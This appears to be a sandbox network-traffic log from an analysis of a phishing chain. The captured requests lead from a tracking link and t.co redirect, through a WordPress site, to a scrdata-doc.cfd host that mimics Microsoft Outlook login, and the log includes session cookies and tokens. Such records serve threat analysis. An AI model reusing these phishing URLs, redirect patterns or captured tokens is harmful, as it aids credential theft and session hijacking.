Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 23.196.177.159
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157

Source: global traffic	HTTP traffic detected: GET /3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz HTTP/1.1Host: click.pstmrk.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /RieqFTtqmt HTTP/1.1Host: t.coConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/OxZU0e8fGTHt7NTfrafq/ HTTP/1.1Host: wordpressprofissional.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://t.co/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /?hjhmxbor&qrc= HTTP/1.1Host: secur-doc.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3I2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6InI2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IjRhUlJNTmdRUTQ4RyIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTMwNDY0LCJleHAiOjE3MTQxMzA1ODR9.H5RlzzQftBFmXt14y-ibpfKcNBoPeazRovF59Sczzxc HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TtzcNWtAezK1OOG&MD=nko9pdNz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s
Source: global traffic	HTTP traffic detected: GET /?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; fpc=Ag3Kly0IoDdBkfMWaLarS2Y; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8Xa7tZ0SebpglM2T8wNj5qUiHXjDE8kzM4NSdE_IayLKIOQysDS2PA0gFadcG7C3F1Qb3Eis8Pzxbib5e2WtQ3OZsx1z-KmUvU6tXhDK42bF_XJGHSCB1p5OkGE6LzNjDbDp2uPiv6jJklS2Sjw6D_XWGoS0Wt5YsbwzflEZRlQkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; fpc=Ag3Kly0IoDdBkfMWaLarS2Y; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8Xa7tZ0SebpglM2T8wNj5qUiHXjDE8kzM4NSdE_IayLKIOQysDS2PA0gFa
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; fpc=Ag3Kly0IoDdBkfMWaLarS2Y; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8Xa7tZ0SebpglM2T8wNj5qUiHXjDE8kzM4NSdE_IayLKIOQysDS2PA0gFadcG7C3F1Qb3Eis8Pzxbib5e2WtQ3OZsx1z-KmUvU6tXhDK42bF_XJGHSCB1p5OkGE6LzNjDbDp2uPiv6jJklS2Sjw6D_XWGoS0Wt5YsbwzflEZRlQkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; 